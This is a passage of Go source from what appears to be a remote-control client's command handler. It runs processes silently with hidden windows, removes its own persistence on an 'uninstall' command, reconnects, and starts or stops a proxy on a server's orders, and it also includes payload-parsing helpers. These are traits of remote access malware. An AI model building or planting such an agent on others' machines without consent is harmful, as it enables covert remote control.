if err := startSilentProcess(command, args, cwd, hideWindow); err != nil {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
}
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
case "uninstall":
res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}
_ = wire.WriteMsg(ctx, env.Conn, res)
if err := removePersistence(); err != nil {
log.Printf("uninstall: failed to remove persistence: %v", err)
}
os.Exit(0)
case "disconnect":
res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}
_ = wire.WriteMsg(ctx, env.Conn, res)
resetForReconnect(env)
return ErrReconnect
case "reconnect":
resetForReconnect(env)
res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}
_ = wire.WriteMsg(ctx, env.Conn, res)
return ErrReconnect
case "proxy_start":
payload, _ := envelope["payload"].(map[string]interface{})
return HandleProxyStart(ctx, env, cmdID, payload)
case "proxy_stop":
return HandleProxyStop(ctx, env, cmdID)
default:
log.Printf("command: unknown action=%s", action)
res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "unknown command"}
return wire.WriteMsg(ctx, env.Conn, res)
}
return nil
}
func envelopePayloadString(envelope map[string]interface{}, key string) (string, bool) {
payload, _ := envelope["payload"].(map[string]interface{})
if payload == nil {
return "", false
}
val, _ := payload[key].(string)
return val, val != ""
}
func envelopePayloadInts(envelope map[string]interface{}) (int, int) {
payload, _ := envelope["payload"].(map[string]interface{})
if payload == nil {
return 0, 0
}
cols, _ := payload["cols"].(int)
rows, _ := payload["rows"].(int)
if cols == 0 {
if f, ok := payload["cols"].(float64); ok {
cols = int(f)
}
if i, ok := payload["cols"].(int64); ok {
cols = int(i)
}
}
if rows == 0 {
if f, ok := payload["rows"].(float64); ok {
rows = int(f)
}
if i, ok := payload["rows"].(int64); ok {
rows = int(i)
}
}
if cols == 0 {
cols = 120
}
if rows == 0 {
rows = 36
}
return cols, rows
}
func toInt(v interface{}) int {
if v == nil {
return 0
}
if i, ok := v.(int); ok {
return i
}
if i, ok := v.(int8); ok {
return int(i)
}
if i, ok := v.(int16); ok {
return int(i)
}
if i, ok := v.(int32); ok {
return int(i)
}
if i, ok := v.(int64); ok {
return int(i)
}
if i, ok := v.(uint8); ok {
return int(i)
}
if i, ok := v.(uint16); ok {
return int(i)
}
if i, ok := v.(uint32); ok {
return int(i)
}
if i, ok := v.(uint64); ok {
return int(i)
}
if f, ok := v.(float64); ok {
return int(f)
}
return 0
}